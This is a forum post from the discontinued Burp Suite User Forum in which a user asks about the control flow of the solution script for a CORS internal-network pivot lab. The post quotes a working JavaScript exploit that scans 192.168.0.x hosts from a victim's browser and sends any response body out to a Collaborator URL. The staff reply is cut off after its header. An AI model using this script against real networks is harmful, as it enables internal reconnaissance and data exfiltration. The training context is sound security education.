Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: CORS vulnerability with internal network pivot attack

Mohamed | Last updated: Jul 04, 2023 12:37PM UTC

I don't understand why we're using the second loop with 20 iterations. I know that we're preparing 255 functions with the 'wait' parameter, and each function will execute 'fetchUrl.' 'fetchUrl' sends a request with an abort controller signal to allow for aborting it. However, I don't understand why we're using both 'catch' and 'setTimeout.' Wouldn't using 'setTimeout' alone ensure that the next request is always executed? Furthermore, I'm confused about the purpose of the 20 iterations in the loop. I don't grasp the underlying logic of 'fetchUrl.' Why not simply use 'q.shift()(i100)'? According to the 'setTimeout' logic, this should achieve the same result. The problem arises when I attempt to delete the 'catch' section and add some console logs. In this case, the code doesn't work as expected. Additionally, when I try to replace the second 'for' loop with 'q.shift()(i100),' it doesn't work either. However, leaving the 'for' loop with only one iteration seems to work fine. ---- <script> var q = [], collaboratorURL = 'http://$collaboratorPayload'; for(i=1;i<=255;i++) { q.push(function(url) { return function(wait) { fetchUrl(url, wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait) { var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r => r.text().then(text => { location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now(); })) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x => { controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script>

Dominyque, PortSwigger Agent | Last updated: Jul 05, 2023 06:53AM UTC